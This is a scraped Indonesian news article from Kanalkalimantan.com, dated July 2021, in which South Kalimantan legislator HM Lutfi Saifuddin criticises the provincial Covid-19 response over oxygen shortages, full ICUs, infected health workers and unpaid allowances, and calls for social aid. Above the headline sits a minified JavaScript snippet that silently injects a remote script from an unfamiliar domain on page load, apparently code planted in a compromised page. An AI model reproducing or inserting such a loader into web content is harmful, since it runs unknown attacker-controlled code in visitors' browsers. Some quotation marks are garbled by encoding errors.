(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Kalsel Kondisi Genting, Dewan â€˜Sorotâ€™ Langkah Pemprov Tangani Covid-19Â

KANALKALIMANTAN.COM, BANJARMASIN â€“ Terus meroketnya angka kasus Covid-19 di Kalsel dan diberlakukannya PPKM level 4 di Banjarmasin dan Banjarbaru, menjadi sorotan DPRD Kalsel terkait langkah provinsi dalam penanganan pandemi.

Ketua Komisi IV DPRD Kalsel HM Lutfi Saifuddin mengatakan, saat ini Kalsel dalam kondisi genting di tengah banyak persoalan.

“Kita mengalami kelangkaan oksigen, banyak nakes (tenaga kesehatan) yang terpapar dan perlu perawatan, ambulan jenazah masih kurang, tim pemulasaran jenazah kurang, ICU dan ruang isolasi sudah penuh, parahnya lagi belum adanya pencairan tunjangan bagi para nakes,” tegasnya kepada Kanalkalimantan.com, Minggu (25/7/2021).

Terkait berbagai persoalan yang dihadapi saat ini, Lutfi akan segera meminta penjelasan Pemprov terkait langkah apa saja yang secara kongkret telah dilakukan.

Ketua Komisi IV DPRD Kalsel HM Lutfi Saifuddin

“Kami (Komisi 4 DPRD Kalsel) akan segera meminta penjelasan Pemprov terkait semua permasalahan ini,” ujar Lutfi, yang membidangi masalah Kesra di Dewan.

Ia mengutarakan langkah yang harus dilakukan pemerintah provinsi untuk mendukung stabilitas ekonomi masyarakat ‘kecil’ adalah dengan cara memberikan bantuan sosial (bansos).

“Kesiapan bansos ini juga harus menjadi perhatian pemerintah daerah, terutama bagi masyarakat yang perekonomiannya terdampak langsung,” ucap Lutfi.

Untuk kriteria penerima bantuan sosial, Lutfi mengatakan hal itu sudah sering dibahas sejak PSBB tahun 2020 lalu.

“Pengalaman PSBB kemarin harusnya bisa jadi panduan, data pekerja non formal pasti sudah dimiliki. Kelemahan PSBB kemarin juga sudah kita minta perbaiki,” katanya.(Kanalkalimantan.com/nurul)

Reporter: nurul
Editor: cell